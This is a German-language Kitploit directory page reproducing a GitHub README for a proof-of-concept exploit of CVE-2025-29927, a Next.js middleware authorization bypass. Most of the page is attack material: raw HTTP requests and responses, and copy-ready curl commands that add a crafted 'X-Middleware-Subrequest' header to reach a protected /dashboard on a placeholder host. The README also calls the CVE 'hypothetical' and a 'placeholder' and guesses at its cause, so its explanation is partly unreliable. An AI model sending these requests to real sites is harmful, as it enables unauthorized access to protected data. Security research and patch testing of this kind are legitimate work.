Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Authentifizierung & AutorisierungSchwachstellenanalyseWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Autorisierungsumgehung in der Next.js-Middleware

Repository anzeigen
93vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2025-29927-POC

Einführung

Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-29927, eine hypothetische Schwachstelle, die einen Fehler in der Middleware-Verarbeitung einer Webanwendung demonstriert. Der PoC zeigt, wie eine speziell konstruierte HTTP-Anfrage die Umleitungslogik umgehen kann, um auf geschützte Inhalte wie ein Dashboard zuzugreifen. Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.

Haftungsausschluss: Dieser PoC ist für die Verwendung in kontrollierten Umgebungen mit ausdrücklicher Genehmigung gedacht. Unbefugte Tests gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Einwilligung haben, sind illegal und unethisch.


Inhaltsverzeichnis

  • Voraussetzungen
  • Überblick über die Schwachstelle
  • Schritte des Proof of Concept
    • Schritt 1: Ursprüngliche Anfrage (erfolglos)
    • Schritt 2: Modifizierte Anfrage (erfolgreich)
  • So reproduzieren Sie den PoC
  • Referenzen
  • Beitragen
  • Lizenz

Voraussetzungen

Um diesem PoC zu folgen, benötigen Sie:

  • Einen Zielserver (z. B. abc.com), auf dem eine verwundbare Konfiguration läuft (bestimmte Software/Version je nach CVE-Details noch festzulegen).
  • Ein HTTP-Client-Tool wie curl (curl.se), Burp Suite (portswigger.net/burp) oder ein eigenes Skript.
  • Grundkenntnisse über HTTP-Protokolle und -Header (siehe MDN HTTP-Dokumentation).

Überblick über die Schwachstelle

CVE-2025-29927 (Platzhalter; durch offizielle CVE-Details ersetzen, sobald verfügbar) scheint eine Middleware-Fehlkonfiguration oder einen Logikfehler auszunutzen. Der PoC demonstriert, dass das Hinzufügen eines benutzerdefinierten Headers (X-Middleware-Subrequest) das Verhalten des Servers verändert, indem es einen Umleitungsmechanismus umgeht, um auf geschützte Inhalte zuzugreifen. Dies hängt wahrscheinlich damit zusammen, wie Middleware (z. B. Nginx mit Next.js) Subrequests verarbeitet oder Header validiert.

Weitere Informationen zu Middleware-Schwachstellen finden Sie unter OWASP Middleware Security.


Schritte des Proof of Concept

Der PoC besteht aus zwei Schritten: einer zunächst erfolglosen Anfrage und einer modifizierten, erfolgreichen Anfrage. Jeder Schritt umfasst die HTTP-Anfrage, die Antwort und eine ausführliche Erläuterung.

Schritt 1: Ursprüngliche Anfrage (erfolglos)

Dieser Schritt demonstriert das Standardverhalten des Servers beim Zugriff auf den Endpunkt /dashboard ohne zusätzliche Header.

HTTP-Anfrage

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-Antwort

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Erläuterung

  • Anfragedetails:
    • GET /dashboard: Versucht, auf den Dashboard-Endpunkt zuzugreifen.
    • Standard-Header wie User-Agent und Accept simulieren eine typische Browseranfrage.
  • Antwortdetails:
    • 307 Temporary Redirect: Gibt an, dass der Server den Client umleitet, wahrscheinlich aufgrund von Authentifizierungs-, Autorisierungs- oder Routing-Logik (z. B. Weiterleitung zu einer Anmeldeseite).
    • Server: nginx/1.14.1: Identifiziert die Webserver-Software.
  • Analyse: Die Umleitung deutet auf einen Schutzmechanismus hin, der den direkten Zugriff auf /dashboard verhindert. Das Fehlen eines Location-Headers in dieser Antwort (möglicherweise aus Gründen der Kürze weggelassen) impliziert, dass das Umleitungsziel woanders liegt.
  • Referenz: Erfahren Sie mehr über HTTP-Statuscodes unter MDN HTTP Status.

Schritt 2: Modifizierte Anfrage (erfolgreich)

In diesem Schritt wird ein benutzerdefinierter Header eingeführt, um die Umleitung zu umgehen und erfolgreich die Dashboard-Inhalte abzurufen.

HTTP-Anfrage

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-Antwort

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Erläuterung

  • Anfragedetails:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Ein benutzerdefinierter Header, der zur ursprünglichen Anfrage hinzugefügt wurde. Die wiederholte Zeichenfolge middleware könnte einen Parsing- oder Validierungsfehler im Middleware-Stack ausnutzen.
    • Die übrigen Header bleiben gegenüber Schritt 1 unverändert.
  • Antwortdetails:
    • 200 OK: Bestätigt den erfolgreichen Zugriff auf die Dashboard-Inhalte.
    • Content-Type: text/html; charset=utf-8: Gibt eine HTML-Antwort an, wahrscheinlich die Dashboard-Seite.
    • X-Powered-By: Next.js: Legt nahe, dass die Anwendung Next.js verwendet, ein React-Framework, das häufig für das Routing auf Middleware angewiesen ist.
    • Cache-Control: Verhindert das Caching, typisch für dynamische, benutzerspezifische Inhalte.
    • Content-Length: 30174: Größe des Antworttextes in Bytes.
  • Analyse: Der X-Middleware-Subrequest-Header veranlasst die Middleware wahrscheinlich dazu, die Anfrage als legitimen Subrequest zu behandeln und so die Umleitungslogik zu umgehen. Dies könnte auf eine Schwachstelle in der Validierung oder Verarbeitung von Subrequests hindeuten.
  • : Entdecken Sie die Next.js-Middleware unter .

So reproduzieren Sie den PoC

Führen Sie die folgenden Schritte aus, um den PoC mit curl zu reproduzieren:

Schritt 1: Ursprüngliche Anfrage senden

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Erwartete Ausgabe: Eine 307 Temporary Redirect-Antwort.

Schritt 2: Modifizierte Anfrage senden

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Erwartete Ausgabe: Eine 200 OK-Antwort mit dem Dashboard-Inhalt.

Hinweis: Ersetzen Sie abc.com durch die tatsächliche Zieldomäne, wenn Sie in einer autorisierten Umgebung testen.


Referenzen

  • CVE-Details - Offizielle CVE-Datenbank (bei Verfügbarkeit mit spezifischem CVE-Link aktualisieren).
  • MDN HTTP-Dokumentation - Grundlagen des HTTP-Protokolls.
  • Next.js-Middleware - Informationen zum Verhalten der Next.js-Middleware.
  • OWASP Middleware Security - Überblick über Middleware-Schwachstellen.
  • curl-Handbuch - Anleitung zur Verwendung von curl für HTTP-Anfragen.

Beitragen

Beiträge sind willkommen! Bitte erstellen Sie einen Issue oder einen Pull-Request, wenn Sie Verbesserungen vorschlagen möchten.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die Datei LICENSE für Details.

Tool herunterladen
Referenz
Next.js-Dokumentation